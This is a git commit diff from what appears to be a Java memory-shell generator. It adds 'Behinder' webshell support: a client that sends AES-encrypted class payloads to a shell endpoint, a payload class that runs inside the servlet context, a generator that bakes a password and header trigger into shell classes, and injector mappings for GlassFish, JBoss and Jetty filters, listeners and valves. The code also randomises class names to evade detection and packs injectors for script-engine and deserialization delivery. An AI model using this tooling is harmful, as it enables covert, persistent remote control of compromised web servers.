feat: support behinder shell generate

This commit is contained in:
ReaJason
2024-12-22 00:05:01 +08:00
parent 100b4e5d9b
commit 01fd2ecb80
142 changed files with 2661 additions and 289 deletions
+32
View File
@@ -0,0 +1,32 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = ''
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy:1.+'
implementation 'commons-io:commons-io:2.+'
implementation 'org.apache.commons:commons-lang3:3.+'
implementation 'commons-codec:commons-codec:1.+'
implementation 'com.squareup.okhttp3:okhttp:4.+'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
testImplementation platform('org.junit:junit-bom:5.10.0')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,179 @@
package com.reajason.javaweb.behinder;
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONObject;
import com.reajason.javaweb.behinder.payloads.Test;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.ClassFileVersion;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Data
@AllArgsConstructor
public class BehinderManager {
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String pass;
private String md5Key;
private Request request;
private Map<String, String> headers = new HashMap<>();
public BehinderManager() {
this.client = new OkHttpClient.Builder().build();
}
@SneakyThrows
public boolean test() {
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Test.class)
.name(Utils.getRandomClassName(Test.class.getName()))
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make().getBytes();
String param = "xixi";
Map<String, Object> resultObj = post(bytes);
JSONObject expectedSuccessObj = new JSONObject();
expectedSuccessObj.put("status", java.util.Base64.getEncoder().encodeToString("success".getBytes()));
expectedSuccessObj.put("msg", java.util.Base64.getEncoder().encodeToString(param.getBytes()));
String expectedSuccessBody = expectedSuccessObj.toString();
byte[] expectedSuccessBodyBytes = encrypt(expectedSuccessBody.getBytes());
byte[] resData = Base64.decodeBase64((byte[]) resultObj.get("data"));
int beginIndex = indexOf(resData, expectedSuccessBodyBytes);
int endIndex = resData.length - (beginIndex + expectedSuccessBodyBytes.length);
endIndex = beginIndex == -1 ? -1 : endIndex;
if (beginIndex > 0 || endIndex > 0) {
resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
}
String resText = new String(decrypt(resData));
if (StringUtils.isBlank(resText)) {
throw new RuntimeException(new String((byte[]) resultObj.get("data")));
}
JSONObject jsonObject = JSON.parseObject(resText);
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
if (!param.equals(msg)) {
throw new RuntimeException(msg + " not equals to xixi, and status code is " + resultObj.get("status"));
}
return true;
}
public Map<String, Object> post(byte[] bytes) throws IOException {
byte[] aes = encrypt(bytes);
RequestBody requestBody = RequestBody.create(Base64.encodeBase64(aes));
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
Map<String, Object> map = new HashMap<>(3);
try (Response response = client.newCall(builder.build()).execute()) {
map.put("status", response.code());
byte[] bytes1 = response.body().bytes();
map.put("data", bytes1);
map.put("headers", response.headers());
}
return map;
}
private byte[] encrypt(byte[] bytes) throws IOException {
return aes(this.md5Key, bytes, true);
}
private byte[] decrypt(byte[] bytes) throws IOException {
return aes(this.md5Key, bytes, false);
}
/**
* AES 加解密
*
* @param bytes 加解密的字符串字节数组
* @param encoding 是否为加密,true 为加密,false 解密
* @return 返回加解密后的字节数组
*/
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
try {
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(bytes);
} catch (Exception e) {
return new byte[0];
}
}
public static int indexOf(byte[] outerArray, byte[] smallerArray) {
for (int i = 0; i < outerArray.length - smallerArray.length + 1; ++i) {
boolean found = true;
for (int j = 0; j < smallerArray.length; ++j) {
if (outerArray[i + j] != smallerArray[j]) {
found = false;
break;
}
}
if (found) {
return i;
}
}
return -1;
}
public static BehinderManager.BehinderManagerBuilder builder() {
return new BehinderManager.BehinderManagerBuilder();
}
public static class BehinderManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String pass;
public BehinderManager.BehinderManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public BehinderManager.BehinderManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public BehinderManager.BehinderManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public BehinderManager build() {
BehinderManager manager = new BehinderManager();
manager.setPass(pass);
manager.setEntrypoint(entrypoint);
manager.setMd5Key(DigestUtils.md5Hex(pass).substring(0, 16));
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.behinder;
import java.util.Random;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class Utils {
public static String getRandomAlpha(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random random = new Random();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; ++i) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getRandomClassName(String sourceName) {
String[] domainAs = new String[]{"com", "net", "org", "sun"};
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
int domainAIndex = (new Random()).nextInt(4);
String domainA = domainAs[domainAIndex];
int randomSegments = (new Random()).nextInt(3) + 3;
if (randomSegments == 3) {
return domainA + "." + domainB + "." + className;
} else if (randomSegments == 4) {
return domainA + "." + domainB + "." + domainC + "." + className;
} else {
return domainA + "." + domainB + "." + domainC + "." + className;
}
}
}
@@ -0,0 +1,114 @@
package com.reajason.javaweb.behinder.payloads;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
@SuppressWarnings("all")
public class Test {
private Object Request;
private Object Response;
private Object Session;
public Test() {
}
public boolean equals(Object obj) {
Map<String, String> result = new LinkedHashMap();
try {
this.fillContext(obj);
result.put("status", "success");
result.put("msg", "xixi");
} catch (Exception e) {
result.put("msg", e.getMessage());
result.put("status", "success");
} finally {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(encrypted);
return this.base64encode(bos.toByteArray()).getBytes();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = (String) entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
try {
this.getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Class Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.behinder;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2024/12/21
*/
class BehinderManagerTest {
@Test
void test() {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint("http://localhost:8080/app/test")
.pass("test123")
.header("User-Agent", "testValve").build();
behinderManager.test();
}
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.packer.Packer;
import org.springframework.http.ResponseEntity;
@@ -3,10 +3,10 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.config.ShellToolConfig;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.AllArgsConstructor;
import lombok.Data;
+30
View File
@@ -0,0 +1,30 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = ''
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.+'
implementation 'commons-io:commons-io:2.+'
implementation 'org.apache.commons:commons-lang3:3.+'
implementation 'commons-codec:commons-codec:1.+'
implementation 'org.jetbrains:annotations:26.0.1'
testImplementation platform('org.junit:junit-bom:5.+')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core:5.+"
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.pool.TypePool;
import net.bytebuddy.utility.OpenedClassReader;
import org.jetbrains.annotations.NotNull;
/**
* 移除静态代码块
*
* @author ReaJason
*/
public enum ClinitRemovingAsmVisitorWrapper implements AsmVisitorWrapper {
/**
* The singleton instance.
*/
INSTANCE;
private static final String CLINIT = "<clinit>";
@Override
public int mergeWriter(int flags) {
return flags;
}
@Override
public int mergeReader(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClinitRemovingClassVisitor(classVisitor);
}
protected static class ClinitRemovingClassVisitor extends ClassVisitor {
protected ClinitRemovingClassVisitor(ClassVisitor classVisitor) {
super(OpenedClassReader.ASM_API, classVisitor);
}
@Override
public MethodVisitor visitMethod(
int modifiers, String name, String descriptor, String signature, String[] exception) {
MethodVisitor methodVisitor =
super.visitMethod(modifiers, name, descriptor, signature, exception);
return name.equals(CLINIT)
? null
: methodVisitor;
}
}
}
@@ -0,0 +1,76 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import java.nio.file.Files;
import java.nio.file.Paths;
import static net.bytebuddy.matcher.ElementMatchers.named;
public class MethodSubstitutionExample {
public static class MethodReplacementMethodVisitor extends MethodVisitor {
private final String targetClassName;
public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
super(Opcodes.ASM9, mv);
this.targetClassName = targetClassName;
}
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if (opcode == Opcodes.INVOKESTATIC
&& owner.endsWith("ExternalClass")
&& name.equals("replacementMethod")) {
super.visitMethodInsn(Opcodes.INVOKESTATIC,
targetClassName.replace(".", "/"),
name,
descriptor,
false);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
}
public static class ExternalClass {
public static String externalMethod(String input) {
return "External: " + input;
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static class TargetClass {
public String targetMethod(String input) {
System.out.println("targetMethod");
return ExternalClass.replacementMethod(input);
}
public static String replacementMethod(String input) {
return "Replaced: " + input;
}
}
public static void main(String[] args) throws Exception {
String oldClassName = TargetClass.class.getName();
String newClassName = oldClassName + "Redefinition";
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
.redefine(TargetClass.class)
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
.make();
Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
.getLoaded();
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.buddy;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
@@ -25,7 +24,7 @@ public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
private final int targetJdkVersion;
public TargetJreVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION;
targetJdkVersion = Opcodes.V1_6;
}
public TargetJreVersionVisitorWrapper(int targetJdkVersion) {
@@ -1,5 +1,8 @@
package com.reajason.javaweb.util;
/**
* @author ReaJason
*/
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
@@ -17,7 +17,6 @@ public class ClassUtils {
}
@SneakyThrows
@SuppressWarnings("deprecation")
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();
+2 -1
View File
@@ -45,6 +45,7 @@ tasks.withType(JavaExec).configureEach {
}
dependencies {
implementation project(":common")
implementation project(":deserialize")
implementation project(":memshell")
implementation 'net.bytebuddy:byte-buddy:1.+'
@@ -52,7 +53,6 @@ dependencies {
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
// implementation fileTree('libs')
implementation 'xalan:xalan:2.7.0'
implementation 'org.apache.bcel:bcel:5.2'
@@ -62,6 +62,7 @@ dependencies {
implementation 'com.squareup.okhttp3:okhttp:4.+'
implementation 'ch.qos.logback:logback-classic:1.+'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
@@ -1,15 +1,18 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -19,8 +22,8 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Command)
.server(Server.JBossAS)
.shellTool(ShellTool.Behinder)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
@@ -30,14 +33,21 @@ public class GeneratorMain {
.key("key")
.headerName("User-Agent")
.headerValue("test123").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("cmd").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass("test123")
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -31,6 +31,7 @@ public abstract class AbstractShell {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
case Behinder -> getBehinderShellMap().keySet().stream().sorted().toList();
default -> Collections.emptyList();
};
}
@@ -82,28 +83,23 @@ public abstract class AbstractShell {
.build();
}
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
@@ -113,6 +109,7 @@ public abstract class AbstractShell {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderGenerator {
private final ShellConfig shellConfig;
private final BehinderConfig behinderConfig;
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
this.shellConfig = shellConfig;
this.behinderConfig = behinderConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class GlassFishShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -4,9 +4,9 @@ import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
@@ -1,11 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
@@ -39,4 +41,12 @@ public class JbossShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
